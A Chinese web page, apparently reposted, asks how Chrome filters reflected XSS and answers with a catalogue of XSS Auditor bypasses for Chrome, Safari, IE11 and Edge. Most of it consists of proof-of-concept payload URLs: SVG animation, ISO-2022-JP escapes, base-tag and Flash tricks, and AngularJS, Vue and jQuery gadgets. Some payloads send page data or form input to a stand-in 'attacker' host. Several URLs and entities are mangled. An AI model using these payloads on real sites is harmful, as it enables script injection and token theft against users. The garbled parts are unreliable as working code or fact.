Chrome 是怎麼過濾反射型 XSS 的呢?
chrome xss filter是基於CSP策略攔截,也就是把匹配到的XSS標籤進行處理。
據說chrome是採用了火狐的CSP策略。
詳細的策略可以參考這裡:
https://wiki.mozilla.org/Security/CSP/Specification
XSS,即跨站腳本攻擊,是Web程序中常見的漏洞,其原理是惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入其中的Script代碼會自動執行,從而達到惡意攻擊用戶的目的。為了防止這些惡意攻擊的發生,現在用戶所使用的瀏覽器內核中一般都有XSS Filter(除Firefox外)。
眾所周知,XSS共有三種類型,分別是:反射型、存儲型和DOM Based XSS。接下來就為大家簡單介紹一下這三種類型的XSS。
第一類:反射型XSS,當我們在訪問一個網頁的時候,在URL後面加上一定的參數,瀏覽器變會返回不同的執行結果。但如果我們在IE/Chrome/Safari中嘗試這種操作,瀏覽器可能會顯示以下消息:「為幫助阻止跨站點腳本,已修改此頁面。」,窗口也無法彈出。這就體現出了瀏覽器內核中Filter的功能。
第二類:存儲型XSS,它常見於支持用戶互動的Web應用,如微博、留言板等。用戶提交到應用程序里的數據會永久性的保存在後端資料庫中,如果沒有經過HTML編碼,當用戶瀏覽了包含惡意代碼的頁面之後(這個頁面通常是用戶會主動訪問的頁面),便會受到相應攻擊,這也使得存儲型XSS比反射型XSS更不易被識別。
第三類:DOM Based XSS,首先,用戶請求一個包含JavaScript的特殊URL,會由攻擊者提交。然後伺服器響應里不會包含攻擊者的腳本,當用戶的瀏覽器處理該響應時,這段攻擊代碼被前端JS里的DOM處理操作引發。它與反射型XSS類似,都需要由攻擊者設計一個包含惡意代碼的URL並誘導用戶訪問,再經瀏覽器響應惡意代碼執行後的操作。
XSS Auditor,是一個被加入在了瀏覽器內核中的安全功能。本篇將為大家講述如何繞過瀏覽器中的 XSS Auditor 進行腳本攻擊,希望能給大家一些幫助,主要是在Chrome/ Safari/IE11/ Edge瀏覽器中進行操作的。
發生在一個字元串中的XSS
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//&
URL單獨成立的XSS(如輸入值直接進入a標籤的href部分)
https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)
&Link&
頁面有2個以上的注入點
https://vulnerabledoma.in/bypass/text?type=2amp;amp;amp;amp;q=%60-alert(1)%3C/script%3E%3Cscript%3E%60
&`-alert(1)&&&
&
↓
&
被置換時的payload:
https://vulnerabledoma.in/bypass/text?type=7amp;amp;amp;amp;q=%3Cscript%3E/%26/-alert(1)%3C/script%3E
&
↓
&
基於DOM 的XSS和其他document.write()的請求字元串
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20o
nerror=alert(1)%3E
&
&
&
在XML頁的XSS
https://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http://http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E
&
&
&
&
應當指出,寫在頁面 Content-Type 頂部的字元串如果未被正確的指定,根據Content
Sniffing XML也可以 bypass。
https://vulnerabledoma.in/bypass/text?mime=unknownamp;amp;q=%3C?xml%20ve
rsion=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xh
tml%22%3Ealert(1)%3C/script%3E
&
&
這裡沒有腳本,但是有已被允許的說明,它們可能用於一定程度上的攻擊。
http(s)∶創建一個鏈接
https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E
&Session expired. Please login again.&
竊取token
例如,你可以通過使用引號(不關閉一側)等,則有
可能包含機密信息的請求,如圖像的情
況。
https://vulnerabledoma.in/bypass/text?type=8amp;amp;amp;amp;q=%3Cimg%20src=%22https://attacker/?data=
&&
&
&
攻擊可能條件:
1.任何一個可以XSS的標籤
2.在目標環境下Flash能利用
參考URL:
http://masatokinugawa.l0.cm/2016/12/xss12.htmlPoC:
https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3
E
&
SVG動畫的屬性的利用
攻擊的可能條件:
1.任何一個可以XSS的標籤
參考URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=709365PoC(Chrome):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20hre
f=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:ale
rt(1)%20/%3E%3Ca%20id=x%3E%3Crect%20w=100%20h=100%20/%3E
%3C/a%3E
&
PoC(Safari):
https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3
000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20w=100%20h=100%20/%3
E%3C/a%3E
&
base標籤與Flash的利用(僅Safari)
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.後面跟有whitespace符號或是單雙引號的情況
3.在目標範圍當中能夠利用此flash
參考URL:
http://masatokinugawa.l0.cm/2016/05/xss8.htmlPoC:
(後面沒有whitespace符號的情況)
https://vulnerabledoma.in/bypass/text?type=3amp;amp;amp;amp;q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/
&&
(後面有whitespace的情況)
https://vulnerabledoma.in/bypass/text?type=4amp;amp;amp;amp;q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/
& &
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.後面跟有whitespace符號或是單雙引號的情況
3.後面有附在相對URL的腳本的部分
PoC:
https://vulnerabledoma.in/bypass/text?type=9amp;amp;amp;amp;q=%3Cbase%20href=//cors.l0.cm/
&&
ISO-2022-JP的轉義序列的利用
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.此頁沒有指定的字元編碼
參考URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=114941https://l0.cm/encodings/test3/PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Csvg%20o%1B(B
nload=alert(1)%3E
&&
(因為※$記號不會像預期的那樣自由移動,將通過包含$重定向的方法進行編碼)
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-jp%3E%3Cscript%3Ealert(1)%1B$@%0A%3C/script%3E&&
鏈接與base標籤的使用
攻擊的可能條件:
1.任何一個可以XSS的標籤
1.後面跟有whitespace符號的情況
2.後面跟有單雙引號的情況
參考URL:
l https://bugs.chromium.org/p/chromium/issues/detail?id=719962
PoC:
https://vulnerabledoma.in/bypass/text?type=4amp;amp;amp;amp;q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:& &XSS&&
文件上傳功能
攻擊的可能條件:
1.任何一個可以XSS的標籤
2使用同一主機上用戶上傳的文件作為攻擊向量,如,用戶頭像等。
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E&
(僅Chrome)
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E&
Flash和flashvars的利用
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.相同起源的ExnternalInterface.call()中的參數字元串還未傳遞到Flash中
3.Flash可在目標環境下利用
補充:
你可以將參數傳遞給 flashvars 屬性,即使Flash 中沒有它們的查詢參數。(=在Flash方面,它可以在FlashVars傳遞,即使從URL傳遞作為XSS的措施,因為要直接打開的參數Flash是有限的。)另外,Content-Security-Policy: default-src "self"例如,當存在CSP等,它也可以用於繞過CSP。
PoC:
https://vulnerabledoma.in/bypass/text?csp=selfamp;amp;amp;amp;q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E&
ActionScript:
ExternalInterface.call("setTimeout", ExternalInterface.objectID + "_event" + "("" + eventName + ""," + eventValues + ")", 0);
Flash中的ExternalInterface.objectID和ExternalInterface.call()的利用
攻擊可能的條件:
1.任何一個可以XSS的標籤
2.有相同的起源ExternalInterface.objectID中的一個Flash傳遞到ExternalInterfae.call
中
3.可在目標環境下利用
補充:
ExternalInterface.objectID是用於嵌入標籤的name屬性的屬性值是由自己設定的,但此時並不能單獨使用xss,旁路是唯一的繞過方式。順便提及,Content-Security-Policy: default-src "self"例如,當存在這樣的CSP的限制,它也可以用於繞過CSP。
PoC:
https://vulnerabledoma.in/bypass/text?csp=selfamp;amp;amp;amp;q=%3Cembed%20name=%27alert(1)-%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E&
ActionScript:
ExternalInterface.call(ExternalInterface.objectID + "_init");
Angular的利用
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.與目標站同源、AngularJS文件存放的主機、CDN下的CORS頁面載入AngularJS
補充:
Angular在有ng-app這個屬性的標籤內想要展開{{}}被包圍的模板,此模板能運行該腳本。參考URL:
l http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}{{constructor.constructor("alert(1)")()}}&&
在與目標站同源的情況下,有從與CORS相對應的CDN裝載Angular的頁面,從HTML Imports間接地連接外部origin的資源。
(僅Chrome)
https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}{{constructor.constructor("alert(1)")()}}&&
Vue.js的利用
攻擊的可能條件:
1.任何一個可以XSS的標籤2.
2.與目標站同源、VueJS文件存放的主機、CDN下的CORS頁面載入AngularJS3.
3.與目標站同源的可運行的模板的擴展腳本存在於網頁或指定的標籤
PoC:
(僅Chrome) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/vue.html%3E%3Cdiv%20id=app%3E{{constructor.constructor(%27alert(1)%27)()}}
&&{{constructor.constructor("alert(1)")()}}
jQuery的利用
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.與目標站同源、jQuery文件存放的主機、CDN下的CORS頁面載入AngularJS
3.與目標站同源的頁面上存在著from標籤能實行jQuery的系統函數的腳本
補充:
jQuery的附加系統功能:after,before,prepend,append,html,replaceWith,wrap,wrapAll,insertBefore,insertAfter,prependTo,appendTo等。由於使用有ownerDocument這個name屬性的形式,Node.在ownerDocument的參照處,不使之實行本來腳本的場面實行的(這樣的手法被稱為DOM Clobbering而為人所知)。並且,實行前,腳本塊&<!有刪除--的處理和,Auditor繞過發生結合的過程,且不切斷此過程。
參考URL:
https://sirdarckcat.github.io/csp/jquery.htmlPoC:
https://vulnerabledoma.in/bypass/text?type=5amp;amp;amp;amp;q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E&
&
&
&
&
&
&&
&
(不在這種情況下)https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/
&&
IE/Edge的XSS過濾器
不封閉的目標站
XSS字元串測試
https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation=amp;amp;amp;#x27;javascriptx3Aalertx281x29amp;amp;amp;#x27;//&
所有基於DOM的XSS
https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)%3E
&
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E
&
&
&
https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)
&
此頁面有2個以上的注入點的XSS
https://vulnerabledoma.in/bypass/text?type=2amp;amp;amp;amp;q=%22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22&"src=data:,alert%281%29&>&&&
↓
&
以下不是導致腳本執行,描述的是允許的,那些具有潛在用途有所攻擊。
Bypass XML namespace偽裝的字元串的利用(僅Edge)
攻擊的可能條件:
1.任何一個可以XSS的標籤
2.在目標環境下Flash可啟用
3.X-XSS-Protection:1; mode-block,無header
補充:
Edge附有XML namespace的標籤也能封閉。&
CSP chrome 最新版本里出現 report-uri 出現了 Request Headers CAUTION: Provisional headers are shown.導致無法發送安全報告有遇到過嗎!
推薦閱讀:
※Firefox 和 Chrome 相比有什麼優點?
※你為什麼喜歡用 Chrome?相較國產瀏覽器的優勢在哪裡?
※為什麼工商銀行網上銀行僅支持版本號為 21.0-24.9 的 Chrome?
TAG:Google Chrome | XSS | 反射型 XSS |